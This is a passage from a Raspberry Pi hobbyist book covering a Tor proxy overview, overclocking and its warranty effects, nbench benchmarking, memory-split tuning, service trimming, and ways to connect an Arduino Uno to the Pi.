2. Click Click here to add your Pi and fill out the form by providing the following details:
Name or Nickname: Required.
Twitter Username: Optional.
Date of Arrival: Required. Use format YYYY-MM-DD.
Email: Required. This field is important because it serves as your ID if you ever want to
edit or remove your Pi location registration.
Location: Required. I had the best luck by providing a postal (Zip) code here.
Human Verification: Required. This field is meant to prevent spam bots from submitting
erroneous registrations. The technology used here and in many websites is called
Completely Automated Public Turing Test to tell Computers and Humans Apart
(CAPTCHA, and no, I’m not kidding). You can learn more about CAPTCHA by visiting
http://is.gd/zsKPcW.
If you need to change your registration details or remove your listing, visit the Rastrack
site and click the Click here to change your details link. You are asked to provide the email
address you used when you originally registered your Pi. You’ll be sent an email message
with a key and link to change your registration details.
Building a Raspberry Pi Tor Proxy
Have you heard of The Onion Router (Tor) network? Tor (http://is.gd/tQul4e) is free software as
well as an open network that provides users with excellent privacy by routing network traffic through
a series of distributed Tor routers, none of which has knowledge of the complete end-to-end path of
the communications.
Take a look at Figure 17.12, and I’ll walk you through the basic mechanics of Tor.
FIGURE 17.12 Schematic of the Tor anonymity network.
The client software running on your computer selects a random path through the Tor network for
every data packet that is transmitted. The intermediate Tor routers, which are formally called nodes,
have no knowledge of the full routing path; they basically forward each packet to a randomly selected
next hop address and forget about the transmission.
As I said earlier, the exit node is the vulnerable point in the Tor network because it is possible for a
malicious individual to configure his computer as a Tor exit node, sniff unencrypted traffic from the
Tor network, and glean potentially privacy-busting data about the data transmission originator.
The good news is that you have to take deliberate configuration steps to become a Tor exit node. For
the vast majority of Tor users, their data is safe so long as they practice good web browsing hygiene
such as enabling SSL and not leaking any personal information via web forms.
Routing select web traffic through the Tor network gives you the following advantages:
Your source IP address and geolocation are completely obfuscated to anybody who tries to
execute a man-in-the-middle attack on your computer.
All data transmitted within the Tor network is encrypted. However, unless you are using
HTTPS or another encryption technology, your unencrypted data that enters the Tor network
emerges from that network equally unencrypted.
The main disadvantage to Tor is the same as what we see with some corporate VPNs; namely,
tremendously slow speeds. You do not want to use Tor for ordinary web browsing, trust me. Network
traffic through the Tor network moves slower than I remember browsing with a 14.4Kbps analog
modem in the mid-1990s. Don’t even think of sending or receiving binary files over the Tor
connection. Doing so is disrespectful to the people who make up the Tor community. Instead, use the
Tor network only when privacy is your principal concern.
In this section I want to give you the high-level overview for configuring your Raspberry Pi as a Tor
proxy. Due to space constraints (the actual step-by-step is fairly involved), I’m going to turn you over
to Adafruit, which worked up a couple wonderful tutorials on how to enact this configuration:
Adafruit Raspberry Pi Wireless Access Point Tutorial: http://is.gd/MlMNEP
Onion Pi Tutorial: http://is.gd/7EHgqx
Note: What Does an Onion Have to Do with an Anonymous Network?
The onion is not only the logo icon for the Tor project, but also represents the network
itself and a non-public DNS top-level domain. As it happens, you can build your own web
server that exists entirely within the Tor (onion) network. These so-called hidden service
sites use special DNS addresses called onion URLs that end with the .onion domain.
You can view a schematic of the Raspberry Pi Tor proxy in Figure 17.13.
FIGURE 17.13 Schematic showing how you can set up your Raspberry Pi Tor proxy and
wireless access point
As you can see, you can install open source software to configure your Raspberry Pi as a wireless
access point. Because the Pi is multi-homed (that is to say, it has more than one network interface),
you can use the Wi-Fi connection as your entry point for Tor communications and the wired Ethernet
connection as your gateway to the Internet.
Therefore, the workflow for using this special Pi is as follows:
You bring your Onion Pi device to a hotel, conference, or other location and plug the Ethernet
interface into a live Internet connection.
You then use your laptop or mobile device to join your personal Onion Pi Wi-Fi network
whenever you need Tor-protected browsing.
Part IV: Hacking the Raspberry Pi
Chapter 18. Raspberry Pi Overclocking
If you’ve made it this far into the book, then you’ve probably given your Raspberry Pi quite a
workout. Accordingly, you are well aware of the hardware limitations of the diminutive Model A or
Model B board.
How can you squeeze more performance out of your Pi? Can you do so safely? How does
overclocking affect the limited warranty offered by Farnell and RS Components?
In this chapter I begin with a comprehensive tutorial on how to overclock your Raspberry Pi. Of
course, you first need to understand exactly what overclocking means. Next, I give you everything you
need to know to improve the performance of your Pi while staying within the bounds of warranty. Of
course, if you want to go outside the bounds, then that’s okay, too. Just don’t knock on my door when
something goes wrong!
I also address how to adjust the split between CPU and GPU memory allocation. For instance, if you
work from the shell prompt, there is no reason to allocate any more RAM than is absolutely necessary
to the GPU. On the other hand, if you have your Pi set up as a RaspBMC media center, then just the
opposite may be true.
Let’s get to work!
What Is Overclocking?
Overclocking refers to forcing a computer component, such as the central processing unit (CPU), to
operate faster than its default clock frequency.
The Pi’s ARM ARM1176JZF-S processor operates with the following default frequencies:
CPU: 700 million clock cycles/second (MHz)
GPU: 250MHz
SDRAM: 400Mhz
The Raspberry Pi is capable of processing one command per clock cycle, which means that the CPU
processes 700 million instructions per second, the GPU processes 250 million, and the RAM chip
400 million. Those are a lot of instructions!
If you can force the Raspberry Pi to increase the clock rate for the CPU, GPU, or RAM, then i
follows logically that the Pi will run faster by executing more commands per unit time. True enough.
The downside to the overclocking situation is heat. Hopefully it makes sense to you that an
overclocked SoC requires more power and therefore generates more heat than an SoC running at its
defaults.
You remember that the ordinary operating voltage of the Pi is 5V and that the typical current draw is
between 700 and 1400 mA.
Note: Power to the Pi
All this talk of overclocking and performance improvements assumes that you provide
the Pi with steady, reliable power. To do that you need to make sure you use a quality
power supply before attempting to overclock your board.
Although overclocking in itself is reasonably safe, overvolting on the other hand will likely reduce
the lifetime of your Pi by gradually degrading the SoC’s transistors and logic gates.
Some enthusiasts, myself included, aren’t overly worried about slightly reducing the lifetime of our
Pis because the cost of replacement is eminently reasonable, but it’s a factor you should consider
nonetheless.
Warranty Implications of Overclocking
The following is a relevant extract from Farnell’s Raspberry Pi Limited Warranty
(http://is.gd/jF9ELL):
What does this limited warranty NOT cover?
Newark element14 has no obligation to repair, replace, or provide refunds in the following
instances:
If the alleged defect arises because Customer has altered or repaired the Raspberry Pi
without the prior written consent or authorization of Newark element 14
As I get to shortly, the Raspberry Pi Foundation does offer overclocking modes that do not void the
warranty. Using these modes still qualifies you for a refund from the distributor.
The salient question on the mind of the enthusiast, is “How would Farnell or RS Components know if
I tried to overclock or overvolt my Pi?”
As it happens, the Foundation programmed the SoC such that a so-called sticky bit is turned on when
any of the following conditions is detected:
You set the temperature limit to a value above 85 degrees Celcius.
You force Turbo Mode or disable the current limit and set an overvoltage.
You can get a detailed description of exactly which overclocking options void the warranty on the
eLinux.org website: http://is.gd/1HcNWb.
More about the sticky bit: As I said, this is a flip flop circuit that, once tripped, remains in place and
is used by the distributors to detect whether you set your Pi to warranty-breaking settings.
You can tell if your Pi’s sticky bit is set by running the following command from a shell prompt and
reviewing the Revision value:
cat /proc/cpuinfo
The word on the street is that any Revision value above 1000 means that your sticky bit is set and you
do not qualify for a refund from the distributor.
Take a look at Figure 18.1. The first output shows my original Pi settings, which fall within the
bounds of the warranty spec. The second output shows that the sticky bit has been tripped as a result
of my setting an illegal overvoltage value.
FIGURE 18.1 This output shows my Raspberry Pi both pre and post-sticky bit.
I verified that resetting the run status of my Pi did nothing to change my CPU Revision value. To the
best of my knowledge, after the sticky bit is flagged, your Pi is permanently out of warranty.
Overclocking Your Pi
Now that you understand what’s involved in overclocking, are you still willing to dig in, get your
hands dirty, and boost the performance of your Pi? Great...so am I.
The Raspi-Config Method
The easy way to overclock your Raspberry Pi and to stay within warranty boundaries is to use the
Raspi-Config script.
Start Raspi-Config by running the command sudo raspi-config and select the Overclock option from
the main menu. Press Enter to go past the warning screen. You see that you can select one of five
overclock presets; these are summarized for you in Table 18.1.
TABLE 18.1 Raspberry Pi Overclock Modes
The ARM/GPU core voltage values are a trifle mysterious. The default value of 0 denotes 1.2V, and a
value of 6 represents 1.35V. The voltage increases in 0.024V steps between 0 and 6. You can
overvolt up to a value of 8, which is 1.4V.
After you select an overclock preset, you’re prompted to reboot your Raspberry Pi for the change to
go into effect.
The Raspberry Pi Foundation is rightly proud of the Turbo mode option; to that point, I’d like to
explain how it works in more detail.
In addition to providing a big performance boost to your Pi, the Turbo mode dynamically adjusts your
CPU, GPU, and SDRAM frequencies depending on the load your Pi experiences.
When the SoC temperature reaches its threshold value, Turbo mode automatically scales back the Pi
speed to allow the system to cool down. Pretty cool, eh?
This Turbo mode magic is the result of a Linux kernel driver called cpufreq, which serves as a
governor, or controller, over the Pi’s overclock status.
A Swedish programmer named Enrico Campidoglio wrote a cool Bash shell script that gives you
your Pi’s CPU status details. The script also gives you “the deets” regarding voltage and temperature.
Task: Verifying Your Pi’s CPU, Voltage, and Temperature Status
This procedure should be accomplished from a terminal session (local or remote) on
your Raspberry Pi.
1. Copy Enrico’s shell script contents (http://is.gd/h4q135) and paste the data into a new,
blank file on your Pi. Save the file as cpustatus.sh.
2. Open a shell prompt and run the script from a Terminal session. You first have to mark
the file as executable, however. For instance, the following shows you my command
statement assuming that the script exists in my present working directory:
chmod +x cpustatus.sh
3. Cool! Now that the shell script can be run as executable code, let’s go ahead and run the
script.
./cpustatus.sh
Remember that in Linux, you use the “dot slash” (./) notation to tell Raspbian that you want to run the
given executable program from the present working directory. Otherwise, you would have to supply
the full path to the file, such as /home/pi/cpustatus.sh. Sample output from the script file on my
Raspberry Pi Model B is shown in Figure 18.2.
FIGURE 18.2 This Bash shell script provides you with useful, at-a-glance CPU metadata.
The Manual Method
The power user way to overclock or overvolt your Raspberry Pi is to manually edit the
/boot/config.txt file. Recall that the Raspi-Config script, which is itself located in usr/bin, is nothing
but a user-friendly front-end to the config.txt file.
From a shell prompt, let’s open the file for editing:
sudo nano /boot/config.txt
Scroll to the end of the file to see the parameters that are relevant to this discussion. Here are the
default entries:
arm_freq: CPU clock frequency
core_freq: GPU clock frequency
sdram_freq: RAM clock frequency
over_voltage: Degree of overvoltage
The good news is that you can include additional parameters to take full control over our Pi’s
overclocking experience. Here are three juicy options, as documented at the eLinux.org website
(http://is.gd/1HcNWb):
temp_limit: You can modify the overheat protection by adjusting this threshold value. The
default value is 85 degrees Celsius.
current_limit_override: Disables current limit protection. Remember that electrical current is
directly proportional to voltage; enabling this option can help if your Raspberry Pi suffers
reboot failures due to your configuring the overclock setting too high.
force_turbo: Disables the cpufreq driver and sets the Pi to run with highest settings all the
time.
Note: Help! My Pi Won’t Boot
If during your overclocking and overvolting experiments you find that your Pi refuses to
boot, then don’t fret. Instead, unplug the Pi, wait a couple of minutes, and then power on the
device while holding down the Shift key. This disables any overclocking settings for the
current boot only. You can then reset your Pi back to safer values, reboot again, and you
should be good to go.
Benchmarking Your Pi
Okay...you are probably thinking, “Tim, I understand everything you’ve taught me so far, and I’ve
overclocked my Pi. Although the device feels like it’s running faster, how can I prove this
quantitatively?”
I’m glad you asked! Benchmarking refers to running tests that compare the current values of a process
either to past values or to values generated by other, related processes.
Specifically with reference to the Pi, you can run benchmark tests against the device itself to gauge
performance changes, such as before and after overclocking the processor cores and RAM.
There are a number of benchmarking utilities for Linux in general and the Raspberry Pi in particular.
Here is a run-down of some of the most popular utilities and their associated websites in no
particular order:
HardInfo: http://is.gd/sW7i7D
GtkPerf: http://is.gd/lsKamm
nbench: http://is.gd/Ql0MXe
Quake III Arena timedemo: http://is.gd/SBkoQq (building Quake III in Raspbian);
http://is.gd/1p553T (timedemo instructions)
Because it is the benchmark used by Eben on the Raspberry Pi website, you learn here how to use
nbench.
Interestingly, nbench (http://is.gd/mlJ2FO) is a command-line computer benchmarking utility that was
developed originally by the long-deceased BYTE magazine in (wait for it) the mid-1990s. The tool
measures a computer’s CPU, floating-point math co-processor, and memory subsystems by comparing
your system’s results to two archaic reference machines:
Dell Pentium 90MHz with 256KB cache RAM and running MS-DOS
AMD/K6 233MHz with 512KB cache RAM and running Linux
The nbench software runs 10 tasks that each analyze a specific component of your target system’s
performance; you can read more detail about the tests and algorithms by visiting http://is.gd/clvnY8.
The system data nbench amasses is then compared to stored baseline data for the 90MHz and/or the
233MHz machines. The nbench in no way emulates the reference machines; all it has is stored
benchmark data.
Task: Installing and Running nbench
Even after all these years, nbench can be a worthwhile performance benchmarking tool.
Let’s run the tool against our Raspberry Pi.
1. Open a shell prompt and begin by downloading the nbench source code, unpacking it,
and compiling it.
Click here to view code image
wget http://www.tux.org/~mayer/linux/nbench-byte-2.2.3.tar.gz
tar xzf nbench-byte-2.2.3.tar.gz
cd nbench-byte-2.2.3
make
The make step is doubtless unfamiliar to non-Linux computer users. To be sure, it’s a
different paradigm to think of obtaining a program’s source code and compiling it into
executable form manually. Thus, the make program assembles all the parts and pieces that
comprise a piece of software and compiles the code into executable form.
2. Make sure you have everything but your Terminal session closed or stopped. Next, start
the nbench tool.
./nbench
In Figure 18.3 you can see my benchmark results using my Model B board that runs in Turbo mode.
FIGURE 18.3 The BYTEmark (nbench) benchmark is particularly popular among Raspberry Pi
enthusiasts.
It’s one thing to run a benchmark program and quite another to understand what it means. You can see
that nbench puts your Raspberry Pi through 10 different tasks. What’s important, speaking
analytically, isn’t comparing your system’s results to the reference systems. Instead, you should
compare the figures against your own Pi say, before and after enabling overclock settings. You can
also compare your nbench results with other Raspberry Pi users, for instance, on the Raspberry Pi
Forums (http://is.gd/6nBR5Z).
Adjusting the Memory Split on Your Pi
In addition to overclocking, you also have the ability to modify the CPU/GPU memory split to
accentuate system performance on your Raspberry Pi.
You already know that the Broadcom BCM 2835 SoC has two processors (CPU and GPU), as well
as the SDRAM. You also know that the Model B board includes 512MB of RAM, while the Model B
board includes 256MB.
You can adjust the balance between how much RAM is allocated to the CPU vs. the GPU. This can be
helpful if, for instance, you perform mostly graphics-intensive tasks such as playing games or
transcoding video.
On the other hand, if your Pi is set up to run only or mostly with the Terminal, then it does not make
sense to allocate any more RAM than necessary to the VideoCore IV GPU.
As you read with the overclocking discussion, you can tweak the memory split either with Raspi-
Config or manually.
Task: Tweaking Memory Split with Raspi-Config
In this procedure you take control over the CPU/GPU memory split on your Raspberry
Pi. Perform these steps on your Pi.
1. Open Raspi-Config and navigate to Advanced Options. Next, select Memory Split.
2. You are asked the question How much memory should the GPU have? Supply a legal
value and press Tab to select OK. The legal values for the Model B are the following,
which represent megabytes (MB) of RAM:
16
32
64
128
256
Note: Regarding the RAM Split on the Raspberry Pi Model A
The RAM allocation values presented here are obviously for the Model B board.
The Model A board supports all values less than or equal to 128.
3. You are prompted to reboot, after which your Pi reserves the designated amount of RAM
to the GPU. Any RAM left over is left by default to the CPU.
As far as suggested splits are concerned, I share with you here what I use on my Model B boards. For
servers that aren’t doing much of anything, I use a 240/16 CPU/GPU split. For my gaming rigs and
media center devices, I use a 256/256 split with no issues.
Tweaking Memory Split by Hand
We learned in Chapter 17, “Raspberry Pi Security and Privacy Device,” what /boot/config.txt is and
how to edit this crucial system configuration file. Thus, we get directly to the relevant parameters:
gpu_mem: RAM devoted to the GPU. The CPU gets any remaining memory.
cma_lwm: When the GPU has less than this low water mark amount of RAM, it requests more
from the ARM CPU.
cma_hwm: When the GPU has more than this high water mark amount of RAM, it releases
some to the CPU.
To set the cma_lwn or cma_hwm dynamic memory split parameters, you need to add the following
line to your /boot/cmdline.txt file:
Click here to view code image
coherent_pool=6M smsc95xx. turbo_mode=N
Note: For the Especially Brave...
Before experimenting with the dynamic memory split parameters, I advise you to update
your Linux kernel to the latest available. I gave instructions for doing so back in Chapter 4,
“Installing and Configuring an Operating System.”
The cmdline.txt configuration file contains low-level commands that are sent directly to the Raspbian
Linux firmware at boot time. The file consists of key/value pairs separated by a space. Therefore, you
should just add the line of code just given as a new entry to the file, save changes, and reboot.
To see your Pi’s current cmdline data, run the following command from a shell prompt:
cat /proc/cmdline
A Historical Footnote
In earlier Raspbian releases, the /boot partition contained multiple GPU firmware files:
start.elf
arm128_start.elf
arm192_start.elf
arm224_start.elf
arm240_start.elf
The original idea was that you could change the CPU/GPU memory split by overwriting the “live”
start.elf file with one of the arm* files. Thus, by running the following example statement:
Click here to view code image
cp /boot/arm240_start.elf /boot/start.elf
you configure your Pi with a 240MB ARM/15MB GPU split. Nowadays the /boot partition contains
just a single start.elf GPU firmware image. You can see the Raspberry Pi kernel, firmware, and
configuration files in Figure 18.4.
FIGURE 18.4 The Raspberry Pi kernel, firmware, and boot files are located on the FAT32 /boot
partition (the only part of the SD card that is readable by Windows).
Just for the sake of completeness, I want to provide you with a brief description of the /boot partition
contents; check out Table 18.2 for that useful nugget of information.
TABLE 18.2 Raspberry Pi /boot Partition Contents
Remember our friend Hexxeh (http://is.gd/Rrh2bS)? This is the individual who gave us a splendid,
easy-to-implement method for updating Raspberry Pi’s firmware:
Click here to view code image
sudo apt-get install rpi-update
sudo apt-get install git-core
sudo wget https://raw.github.com/Hexxeh/rpi-update/master/rpi-update -O /usr/bin/
rpi-update && sudo chmod +x /usr/bin/rpi-update
sudo rpi-update
Note: What Is Git?
You probably noticed that many of the installation recipes in this book use a software
product called Git. Git (http://is.gd/5vKXkJ) is a free, open source, distributed software
version control system. Git enables developers to publish their projects and source code so
that people can access their stuff in myriad ways. If you have any interest in writing your
own open source software, you want to spend time getting to know Git.
The reason I mention Hexxeh’s tool is that it once allowed you to change the ARM/GPU memory
split. Now, however, Hexxeh recommends using the Raspi-config or manual methods as previously
outlined.
Various and Sundry Performance Tweaks
The IT security and performance principle of least service means that if your computer does not need
to have a particular background service (daemon) running, then prevent it from doing so. Not only
will your computer run faster, but you also reduce the attack surface of the machine. After all, an
attacker can’t compromise a service that isn’t running!
To that end, you can use the sysv-rc-conf utility (http://is.gd/1VjHLP) to analyze your startup services
and disable any that you identify as unnecessary.
Click here to view code image
sudo apt-get install -y sysv-rc-conf
sudo sysv-rc-conf
As you can see in Figure 18.5, the sysv-rc-conf presents a table showing you everything that’s running
in the background on your Pi. You can use the keyboard arrow keys to move around the table and
press the Spacebar to toggle services on and off for the various run levels (that’s what the 1–6 and S
mean in the column headings). Press Q to quit the tool and to return to your shell prompt.
FIGURE 18.5 You can use the sysv-rc-conf utility to disable startup services that you don’t need
and thereby boost the performance and security of your Raspberry Pi.
Naturally, you’ll want to do some research on what these services actually do before you disable
anything.
Note: About Run Levels
The Linux operating system can run under different levels of processing priority and
system access; these are reasonably called runlevels. Only one runlevel is executed on
each startup. For instance, runlevel 0 is used to shut down the system. Runlevel 1 is single-
user mode, in which only one login is allowed. Runlevels 2–5 are for multi-user access.
Runlevel 6 denotes a reboot condition. You can read more about runlevels on Wikipedia at
http://is.gd/rTxUO6.
By default, the Raspberry Pi reserves six connection terminals (called tty connections) for
simultaneous user access. If you are the only person logging into your Pi, then you can save some
system resources by reducing this number.
Open the /etc/inittab file in nano or your favorite text editor:
sudo nano /etc/inittab
Now, comment out the unneeded terminal reservations. On my system, I want to reserve only two
connections:
Click here to view code image
1:2345:respawn:/sbin/getty --noclear 38400 tty1
2:23:respawn:/sbin/getty 38400 tty2
# 3:23:respawn:/sbin/getty 38400 tty3
# 4:23:respawn:/sbin/getty 38400 tty4
# 5:23:respawn:/sbin/getty 38400 tty5
# 6:23:respawn:/sbin/getty 38400 tty6
Save your changes, close the /etc/inittab file, and reboot your Pi to put the change into effect.
Finally, you can make use of a couple cool apt-get parameters to keep your installed software and
repository cache nice and tidy:
sudo apt-get autoremove
sudo apt-get autoclean
The autoremove parameter removes software packages that were installed by apt-get automatically to
satisfy dependencies for some installed and potentially removed software.
The autoclean parameter clears out your local repository of retrieved package files, removing only
package files that are no longer valid.
For best performance, I suggest you run those apt-get statements on your Pi every month or so.
Chapter 19. Raspberry Pi and Arduino
As novel as the Raspberry Pi is, you have to remember that the device is simply another Linux box. In
other words, the Raspberry Pi, despite its tiny form factor, contains all of the trappings of a full-sized
computer.
As nice as it is to have the input/output (I/O) capability of a full Linux machine, you still must deal
with the unfortunate side-effect of system overhead. At times the Raspberry Pi cannot get out of its
own way, so to speak, when you need it to perform certain tasks, especially those tasks that require
precise timing and calibration.
Single-board microcontrollers like the Arduino are perfect for more direct applications that do not
require intensive computing or graphical processing power. For instance, what if you wanted to
design a wearable microcontroller that lights up a row of LEDs sewn into a leather jacket?
As it happens, the Arduino team in Italy made just such a microcontroller: the Lily Pad
(http://is.gd/80MqhJ).
What if you wanted to design and control a robot composed almost entirely of paper? Again, the
Arduino community has you covered with the PAPERduino (http://is.gd/5dSyJd).
As far as I am personally concerned, the Arduino is totally awesome. The good news is that you can
integrate the Arduino with the Raspberry Pi in a number of different ways.
In this chapter I start by providing a bit of history on the Arduino platform. Next, I dig into the
Arduino Uno, the reference Arduino model. I then show you how to get the Uno and Raspberry Pi
talking to each other and exchanging data. Finally, I introduce an excellent Arduino clone that is about
as easy to use with the Pi as any hardware I’ve ever seen.
Shall we get started?
Introducing the Arduino
Massimo Banzi, the cofounder of Arduino, said it best when he stated, “The Arduino philosophy is
based on making designs rather than talking about them.”
The Arduino is a family of single-board microcontrollers that are completely open source. Yes, you
heard me correctly: In contrast to the Raspberry Pi, which contains Broadcom-proprietary pieces and
parts, the Arduino boards are completely open to the public.
This open source approach and Arduino’s Creative Commons-based licensing means that anybody in
the world can design (and sell) their own Arduino clones. The only licensing aspect that the Arduino
team feels strongly about is that clones must not contain the entire word “Arduino” in their names; this
term is reserved for the official boards.
Speaking of boards, the Arduino team, which is based in Italy, manufactures and sells a large number
of them. Check them out at the Arduino website at http://is.gd/6P6WSe; here are some of my favorite
models:
Arduino Uno (http://is.gd/SiSPg1): This is their most popular board and is ideal both for
learning as well as for practical application.
Arduino Mega 2560 (http://is.gd/VPzRMr): This is a much bigger board intended for more
comprehensive projects.
Arduino LilyPad (http://is.gd/80MqhJ): This is a cute, wearable microcontroller (see Figure
19.1).
FIGURE 19.1 Arduino LilyPad top, and Arduino Esplora bottom
Arduino Esplora (http://is.gd/YeZIIg): This board, which is also pictured in Figure 19.1, has
lots of I/O possibilities and is focused squarely at game system designers.
Okay. Thus far we understand that Arduino represents a family of microcontroller boards and that
their hardware is open source and anybody can download the schematics and build Arduino clones.
Stepping back for a moment, what exactly is a “single-board microcontroller”?
A single-board microcontroller is a microcontroller that is soldered onto a single printed circuit
board (PCB). Going further, a microcontroller, such as the 8-bit ATmel AVR used in the Uno, is an
integrated circuit DIP chip that contains a processor core, a small amount of memory, and the
capability to communicate with I/O peripherals that are located elsewhere on the PCB.
Note the decided absence of a video controller; microcontrollers have no built-in graphics capability,
nor do they contain an operating system. This means you must program and control an Arduino from
outside the Arduino, such as from a connected personal computer.
As a matter of fact, the mechanics of connecting an Arduino to the Raspberry Pi are exactly the same
as those that govern connecting an Arduino to your Windows, OS X, or Linux-based PC. But I am
getting a bit ahead of myself.
For me, the two coolest things about Arduino are (a) its analog inputs; and (b) shields.
The Arduino’s analog input pins mean that you can take analog measurements—for instance,
temperature, volume, and so on...and convert them to digital values for processing. This means you
can use the Arduino to interact with the real world, which is largely analog.
Note: Analog Versus Digital Signals
The reason quantities such as volume are analog is because their values change
constantly over time over a wide range of values. By contrast, in the digital world there are
only two values: 0 and 1, off and on, low and high, and so forth. When you convert an
analog signal to digital, you try to approximate the wave-like pattern of analog to the up and
down zig-zag of digital. The more data you feed into the translation, the more faithful the
digital signal is of its analog counterpart (and vice versa).
A shield is an add-on board that extends the functionality of the Arduino. Typically, shields connect
directly on top of the Arduino’s I/O pins...like a soldier holding a shield in front of him, actually.
Shields put the Arduino board on some serious steroids, let me tell you. It seems that either the
Arduino team or a third party has developed an add-on shield for every conceivable computing (or
noncomputing) purpose. For instance, take a look at this representative smattering of popular Arduino
shields:
Ethernet Shield (http://is.gd/PU2D0c): Gives your Arduino a wired Ethernet connection (see
Figure 19.2).
FIGURE 19.2 Arduino Uno with Ethernet shield attached on top
Wi-Fi Shield (http://is.gd/URoZZ9): Gives your Arduino connectivity to 802.1 b/g wireless
networks.
GSM Shield (http://is.gd/JFB4NV): Gives your Arduino access to carrier networks (you also
need a cellular service carrier’s SIM card).
Relay Shield (http://is.gd/P63Pb4): Gives your Arduino the ability to control devices that use
higher voltage circuits (perfect for home automation projects).
Proto Shield (http://is.gd/nkmvNI): Gives you the ability to create your own shield from
scratch—this is simply an unpopulated PCB with header connectivity to Arduino.
The AlaMode that you learn how to use toward the end of this chapter is actually an Arduino shield.
Before we proceed into studying the Arduino Uno in great detail, let me return to the concept of the
powerful Arduino community. You don’t have to have lots of money and manufacturing resources at
hand to build your own Arduino.
As it happens, you can design and create an Arduino either from individual parts or by making use of
several starter kits. Here, have a look:
DIY Arduino (http://is.gd/70D1hc): This project is pretty novel, but is likely to require quite
a bit of time to undertake.
Build an Arduino on a Breadboard (http://is.gd/AeVfiP): Believe it or not, it is feasible to
build yourself an Arduino clone for all of $5 in parts.
Adafruit Arduino Starter Pack (http://is.gd/7qFOJw): This kit includes an Uno R3 and
myriad doo-dads for your experimenting and project prototyping pleasure.
Arduino Starter Kit (http://is.gd/NS4ff2): This project kit, which includes an Uno R3, is sold
by the Arduino team directly.
Okay, then. Let’s drill into the Arduino Uno so we can begin to appreciate what the Arduino can do in
Technicolor.
Digging into the Arduino Uno
The word Uno, as you probably already know, means one in Italian, and the Arduino Uno is called
Uno to denote its association with the upcoming Arduino 1.0 PCB. According to the Arduino website,
they are positioning the Uno and the Arduino 1.0 as the reference PCBs going forward.
As of this writing, the Arduino team has made three revisions to the Uno, with each subsequent
revision adding features. Thus, I advise you to purchase an R3 board if you have anything to say about
it.
You can easily tell which Uno revision you have by turning the board over and looking for the Rx
label (where x is the revision number). For example, the Revision 3 board is labeled R3.
Now what’s on the front of the Uno? Figure 19.3 provides an annotated picture for you, but let me
break the components down in a bit more detail:
1: USB for data/power
2: Reset button
3: Pin #13 “blink” LED
4: Digital input/output pins
5: 7V-12V DC power
6: 3.3V and 5V power pins
7: Analog input pins
8: ATmega microcontroller
FIGURE 19.3 Arduino Uno PCB, front view
ATmel ATmega328P AVR Microcontroller: The “brains” of the Arduino. The chip has a 16
MHz clock speed and 32KB of flash memory.
14 digital output pins: Six of these pins support Pulse Width Modulation, or PWM. PWM
enables you to take digital input and produce analog output. For instance, you can use PWM to
dim LEDs instead of turning them on and off completely.
6 analog inputs: This is how you get analog sensor data (think of volume, temperature,
brightness, motion, and so on) into the Arduino.
USB-to-serial chip: The ATmega16U2 enables the Uno’s USB bus to send and receive serial
data.
Power supply: The Arduino itself operates at 5V, which means you need to be careful when
you work with the 3.3V Raspberry Pi. The good news here is that the power output pins on the
Uno support both voltages. Incidentally, the 3V3 pin supplies up to 50mA of power.
Reset: You can use this tactile button switch to reboot the Arduino.
Power-wise, the Arduino Uno can accept power either through its dedicated power supply or through
USB. If both are connected, the Uno defaults to using the dedicated 5V power supply.
Note: What’s a “Wall Wart”?
The Arduino Uno uses a standard 9V–12V, 250mA or more, AC-to-DC power supply
with a 2.1mm plug. You can learn more about Uno-compatible power supplies by visiting
Arduino Playground at http://is.gd/9WYgSK. The reason why these power supplies, which
are ubiquitous in today’s portable electronics age, are called wall warts is because of the
plug itself. As you doubtless know and much to your chagrin, the bulky transformer tends to
block additional ports in your wall power receptacle or surge protector. Hence the
disparaging term.
As I stated earlier, you can program the Arduino from an external computer. Sure, you could connect
your Uno to your Windows or Mac computer, but in this book I focus squarely on the Raspberry Pi.
Therefore, let’s now turn your attention to how you can link these two wondrous devices.
Connecting the Arduino and the Raspberry Pi
One of the fundamental lessons about physical computing that you should have picked up thus far is
that any given task has several different valid methods of approach.
Some ways of solving a problem may be more efficient than others; yet others are more or less
expensive to undertake. As long as you’re satisfied with the end result, there is no single, best way.
The reason I mention this is that there exist several methods for connecting the Arduino Uno to your
Raspberry Pi. Again, you have some ways that are more or less efficient (and dangerous!) than others.
Let me describe for you how some of these different types of connections work.
Connecting the Raspberry Pi GPIO Pins to the Arduino Serial Pins
This method requires the use of a voltage divider or logic level converter (buy one from Sparkfun at
http://is.gd/Ws16r8) to manage the 3.3V/5V voltage difference between the two devices.
The advantage to this approach is that you free up the Raspberry Pi’s USB port for another use. The
disadvantage is, as I just said, you must account for the voltage difference; doing this typically
involves the introduction of a breadboard to host the logic level converter and jumper wires.
If you’re brave, you can study Oscar Liang’s tutorial on connecting the Raspberry Pi and Arduino Uno
via serial GPIO, found at http://is.gd/I2QY7T.
Connecting the Raspberry Pi GPIO Pins to the Arduino I2C
This connection method does not require a logic level converter, as long as you configure the Pi as a
master device and the Arduino as a slave device. Here are step-by-step instructions, again from
Oscar Liang: http://is.gd/XBDg13.
The advantage to this method is that you free up both the USB bus as well as the serial pins on both
devices. The disadvantage is that configuration is difficult. For instance, if you mess up the
master/slave I2C communication between the devices you can easily fry your Pi with an overvoltage.
Connecting the Raspberry Pi to the Arduino via USB
Ah yes...simplicity itself. This is the cleanest connection method insofar as you can literally plug the
Arduino Uno into one of the Pi’s USB ports and access the Uno as a serial USB device.
The issue with this connection method, naturally, is one of power. If you have a wall wart power
supply for your Arduino, you’re all set. Another solution is to plug your Uno into a powered USB hub
that is in turn connected to the Pi’s USB port. That’s actually the method I use.
Connecting the Raspberry Pi to the Arduino via a Shield or Bridge Board
You now know what Arduino shields are, and it should come as no surprise to you that developers
have taken it upon themselves to create Arduino-Raspberry Pi connection shields.
One of the most popular shields in this category is the Ponte (http://is.gd/nAvtEi). This shield is in a
“currently experimental” state as of this writing, but it looks like a promising project.
Imagine the possibilities of stacking a Ponte on top of a Raspberry Pi, an Arduino on top of the Ponte,
and another Arduino shield stacked on top of the Arduino!
Connecting the Raspberry Pi to an Arduino Clone
The AlaMode shield and the Gertboard are both Arduino clones. Although the AlaMode is an
Arduino clone that fits on top of the Raspberry Pi’s GPIO header like any traditional shield, the
Gertboard’s ATmega microcontroller is just one of a number of widgets soldered into this
multipurpose experimentation board. I show you how to use the AlaMode in this chapter, and you
learn more about the Gertboard in Chapter 20, “Raspberry Pi and the Gertboard.”
Simply connecting the Arduino and the Raspberry Pi is only half the battle. You also have to take a
look at the software side of the equation. This involves three discrete tasks:
Configuring the Pi to recognize the Arduino
Installing the Arduino IDE software
Developing sketches on the Pi and uploading them to the Arduino
